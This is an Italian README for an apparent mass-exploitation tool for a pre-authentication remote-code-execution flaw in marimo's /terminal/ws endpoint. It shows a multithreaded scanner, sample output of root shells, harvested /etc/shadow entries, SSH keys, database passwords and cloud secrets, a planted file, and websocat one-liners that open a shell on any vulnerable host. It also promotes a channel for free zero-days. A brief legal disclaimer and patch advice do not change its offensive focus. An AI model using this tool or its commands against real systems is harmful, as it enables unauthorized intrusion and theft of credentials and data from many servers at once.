
marimo è un notebook Python reattivo. Prima della versione 0.23.0, Marimo presenta una vulnerabilità RCE pre-autenticazione.
marimo è un notebook Python reattivo. Prima della versione 0.23.0, Marimo presenta una vulnerabilità RCE pre-autenticazione
___ _ ___ __ __ __ __ ___ __ __ _______
/ (_)(_| |_// (_) / )/ \/ )/ / \/ |/ |/ \ /
| | | \__ /| | /| __ __/\_/|\_/|\__/ /
| | | / -----/ | |/ |/ \----- \ | |/ \ /
\___/ \_/ \___/ /___\__//___\__/ \___/ | |\__//
/terminal/ws — RCE pre-autenticazione tramite WebSocket non autenticato
Autore: Nxploited · Telegram: @KNxploited
📢 Unisciti al canale Telegram per le ultime zero-day ed exploit gratuiti:
🔗 Nxploited ZeroDay Hub — t.me/KNxploited
CVE-2026-39987 è una vulnerabilità critica di RCE (Remote Code Execution) pre-autenticazione che colpisce Marimo, una piattaforma open-source di notebook Python reattivi.
L'endpoint WebSocket del terminale /terminal/ws non dispone completamente della convalida dell'autenticazione, consentendo a qualsiasi attaccante remoto non autenticato di ottenere una shell PTY completa ed eseguire comandi di sistema arbitrari con i privilegi del processo in esecuzione — spesso root in distribuzioni containerizzate.
A differenza di altri endpoint WebSocket come /ws, che invocano correttamente validate_auth() prima di accettare connessioni, l'endpoint /terminal/ws verifica solo la modalità di esecuzione e la compatibilità della piattaforma, saltando completamente l'autenticazione.
✅ Corretto in:
marimo >= 0.23.0❌ Tutte le versioni precedenti alla0.23.0sono vulnerabili
/ws → calls validate_auth() ✅ Authentication enforced
/terminal/ws → skips validate_auth() ❌ No authentication
Il gestore /terminal/ws controlla solo:
Non convalida mai token di sessione, cookie o qualsiasi forma di identità — rendendo ogni istanza Marimo esposta una shell diretta.
.py.env · wp-config.php · chiavi private SSH · /etc/shadowPython 3.10 or higher
Installa le dipendenze:
pip install websockets rich requests urllib3
Oppure utilizzando il file dei requisiti:
pip install -r requirements.txt
requirements.txt
websockets
rich
requests
urllib3
Crea un file chiamato targets.txt con un target per riga.
Lo strumento accetta tutti i formati:
192.168.1.100
192.168.1.101:2718
10.10.10.50:2718
https://notebook.example.com
wss://secure.notebook.io
marimo.target.local:2718
Formati supportati: IP · IP:porta · dominio · dominio:porta ·
http://·https://·ws://·wss://
python3 CVE-2026-39987.py
▸ Targets file (default: targets.txt) : targets.txt
▸ Threads (default: 50) : 100
Intervallo thread: 1–300. Consigliato: 50–150 in base alla tua rete.
╭──────────────────────────────────────────────────────────╮
│ CVE-2026-39987 · Marimo WebSocket RCE │
│ MASS SCANNER · FULL ENUM · SMART DETECT │
│ By: Nxploited · github.com/Nxploited · @KNxploited │
╰──────────────────────────────────────────────────────────╯
══════════════ ws://192.168.1.100:2718/terminal/ws ══════════
╭────────────────────────────────────────╮
│ ◈◈◈ ROOT ACCESS ◈◈◈ │
│ ws://192.168.1.100:2718 │
│ uid ▸ uid=0(root) groups=[root] │
╰────────────────────────────────────────╯
── ENVIRONMENT ──────────────────────────────────────────
✦ Type MARIMO
◈ Docker True
◈ Marimo version 0.22.1
◈ Notebook directory /app/notebooks
── MARIMO — NOTEBOOKS ───────────────────────────────────
✦ Notebooks 7 found
· /app/notebooks/analysis.py
· /app/notebooks/data_pipeline.py
· /app/notebooks/etl_job.py
── MARIMO — TOKENS ──────────────────────────────────────
✦ Token CLI secret-token-abc123xyz
✦ .marimo.toml /root/.marimo.toml
── /etc SENSITIVE ──────────────────────────────────────
✦ /etc/shadow READABLE [42 entries]
◈ /etc/passwd [42 lines]
◈ /etc/crontab [12 lines]
── SSH KEYS ─────────────────────────────────────────────
✦ /root/.ssh/id_rsa FOUND
✦ /root/.ssh/id_ed25519 FOUND
── DATABASES ────────────────────────────────────────────
✦ MySQL DATABASES LISTED
✦ Redis PONG — NO AUTH
✦ DuckDB files /app/notebooks/data.duckdb
── SENSITIVE ENV VARS ───────────────────────────────────
✦ DATABASE_URL postgresql://admin:p4ss@db:5432/prod
✦ AWS_SECRET_ACCESS_KEY redacted...
── NX FILE DROP ──────────────────────────────��──────────
✦ Shell write /app/notebooks/Nx.py
✦ HTTP access http://192.168.1.100:2718/Nx.py
── COMPLETE ─────────────────────────────────────────────
◈ Saved to nx_output/192.168.1.100_2718/
◦ 73/200 ROOT:5 PRIV:11 SHELL:18 FAIL:39 6.3/s
◦ 73/200 ROOT:5 PRIV:11 SHELL:18 FAIL:39 6.3/s
nx_output/
│
├── summary.txt ← Master summary of all targets
├── curls.txt ← websocat one-liners for all shells
├── Nx.txt ← HTTP-confirmed file drops
│
└── 192.168.1.100_2718/ ← Per-target directory
├── summary.txt ← Target summary & connect command
├── identity.txt ← id · whoami · uname · hostname · shell
├── users.txt ← /etc/passwd · shadow · sudoers · last
├── ssh_keys.txt ← Discovered SSH private keys & auth keys
├── etc_data.txt ← /etc/hosts · resolv.conf · crontab · env
├── env_sensitive.txt ← Filtered sensitive environment variables
├── databases.txt ← MySQL · Redis · PostgreSQL · config files
├── app_configs.txt ← .env · wp-config.php · settings.py · etc
├── notebooks.txt ← Full content of all Marimo notebooks
├── marimo_toml.txt ← .marimo.toml configuration files
├── marimo_tokens.txt ← All extracted Marimo auth tokens
├── dotenv.txt ← .env / .env.local / .env.production
├── databases_marimo.txt ← DuckDB · SQLite · DB URLs from notebooks
├── webserver_configs.txt ← Apache/Nginx VirtualHosts & configs
├── network.txt ← Interfaces · routes · open ports · iptables
├── processes.txt ← ps aux · crontab · cron.d · systemd units
├── logs.txt ← auth.log · syslog · access.log · error.log
├── nx_file.txt ← Nx drop path · web root · HTTP URL
└── software.txt ← PHP · Python · Node.js versions
Una volta identificato un target vulnerabile, puoi connetterti manualmente utilizzando websocat:
# Install websocat
cargo install websocat
# or: https://github.com/vi/websocat/releases
# Connect to shell
websocat "ws://TARGET:2718/terminal/ws" -H "Authorization: Bearer any-value"
# Connect over TLS
websocat "wss://TARGET/terminal/ws" -H "Authorization: Bearer any-value"
Il valore dell'header
Authorizationè irrilevante — l'endpoint accetta qualsiasi token o nessun token.
Se stai eseguendo Marimo in un ambiente di produzione o esposto:
marimo >= 0.23.0127.0.0.1 — non esporlo mai direttamente su internet/terminal/wsQuesto strumento è fornito esclusivamente per scopi educativi, test di penetrazione autorizzati e ricerca di sicurezza legittima.
Devi avere l'autorizzazione scritta esplicita del proprietario del sistema prima di eseguire questo strumento contro qualsiasi target. L'uso non autorizzato contro sistemi che non possiedi o per i quali non hai il permesso di testare è illegale e può comportare azioni legali civili e/o penali ai sensi delle leggi applicabili sui crimini informatici, incluse ma non limitate al Computer Fraud and Abuse Act (CFAA), al Computer Misuse Act, alle direttive UE sulla criminalità informatica e alla legislazione equivalente nella tua giurisdizione.
L'autore non si assume alcuna responsabilità per danni, perdita di dati o conseguenze legali derivanti dall'uso improprio di questo strumento.
Usa responsabilmente. Hackera eticamente.
| Proprietà | Valore |
|---|
| ID CVE | CVE-2026-39987 |
| Software Colpito | marimo < 0.23.0 |
| Classe di Vulnerabilità | RCE pre-autenticazione tramite WebSocket non autenticato |
| Endpoint Colpito | /terminal/ws |
| Vettore di Attacco | Rete |
| Autenticazione Richiesta | ❌ Nessuna |
| Interazione Utente | ❌ Nessuna |
| Gravità | 🔴 Critica |
| Impatto | Shell PTY completa · Esecuzione arbitraria di comandi |
| Versione Corretta | marimo 0.23.0 |
| Icona | Livello | Descrizione |
|---|
✦✦✦ 🟢 | ROOT | uid=0 — Accesso root completo |
✦✦ 🟡 | PRIV | Membro di sudo · wheel · docker · disk · adm |
✦ 🔵 | SHELL | Accesso shell senza privilegi |
✗ 🔴 | FAIL | Connessione rifiutata · timeout · errore HTTP |
| Ambiente | Rilevamento Automatico | Raccolta Specializzata |
|---|
| 🟣 Marimo | ✅ | Notebook · Token · DuckDB · .marimo.toml · mount |
| 🔵 cPanel / WHM | ✅ | userdomains · password MySQL · elenco utenti WHM |
| 🟠 Plesk | ✅ | psa.shadow · vhost · credenziali admin MySQL |
| 🌐 Apache | ✅ | VirtualHost · sites-enabled · log di accesso/errore |
| 🟢 Nginx | ✅ | Server block · conf.d · log di accesso/errore |
| 🐍 App Python | ✅ | .env · settings.py · config.py · Pipfile |
| 🟡 Node.js | ✅ | .env · package.json · directory pubblica |
| 🐳 Docker | ✅ | Bind mount · rilevamento dello storage locale del container |
| ⚙️ Generico | ✅ | Suite di enumerazione completa su ambienti sconosciuti |
| Username | Nxploited |
| GitHub | github.com/Nxploited |
| Telegram | @KNxploited |
| Canale | Nxploited ZeroDay Hub |
"Più silenzioso diventi, più riesci ad ascoltare."
⭐ Se questo strumento ti è stato utile, lascia una stella e unisciti al canale per altre zero-day! ⭐